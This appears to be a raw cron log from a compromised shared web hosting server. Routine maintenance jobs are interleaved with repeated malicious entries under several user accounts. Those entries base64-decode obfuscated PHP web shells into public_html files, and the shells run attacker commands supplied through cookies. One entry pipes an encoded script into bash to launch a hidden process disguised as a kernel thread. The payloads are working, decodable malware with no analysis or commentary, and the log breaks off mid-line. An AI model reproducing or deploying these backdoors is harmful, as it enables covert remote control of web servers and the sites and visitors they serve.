Mar  1 05:59:01 medusa CROND[2099]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:59:01 medusa CROND[2103]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:59:01 medusa CROND[2104]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:59:01 medusa CROND[2101]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:59:01 medusa CROND[2106]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:59:01 medusa CROND[2111]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:59:01 medusa CROND[2112]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:59:01 medusa CROND[2113]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:59:01 medusa CROND[2110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:00:01 medusa CROND[26873]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:00:01 medusa CROND[27009]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 06:00:01 medusa CROND[27036]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:00:01 medusa CROND[27038]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:00:01 medusa CROND[27039]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27040]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 06:00:01 medusa CROND[27041]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:00:01 medusa CROND[27042]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:00:01 medusa CROND[27043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27044]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27048]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 06:00:01 medusa CROND[27049]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27051]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 06:00:01 medusa CROND[27053]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27064]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27047]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 06:00:01 medusa CROND[27057]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27056]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:00:01 medusa CROND[27071]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:00:01 medusa CROND[27061]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27058]: (root) CMD (/nutscripts/fix_packages_lve.sh)
Mar  1 06:00:01 medusa CROND[27072]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27073]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:00:01 medusa CROND[27066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:00:01 medusa CROND[27077]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:00:01 medusa CROND[27078]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:00:01 medusa CROND[27079]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 06:00:01 medusa CROND[27080]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27081]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:00:01 medusa CROND[27082]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 06:00:01 medusa CROND[27076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:00:01 medusa CROND[27088]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27093]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:00:01 medusa CROND[27065]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27098]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:00:01 medusa CROND[27099]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:00:01 medusa CROND[27100]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 06:00:01 medusa CROND[27120]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:00:01 medusa CROND[27148]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:01:01 medusa CROND[19449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:01:01 medusa CROND[19475]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:01:02 medusa CROND[19531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:01:02 medusa CROND[19535]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY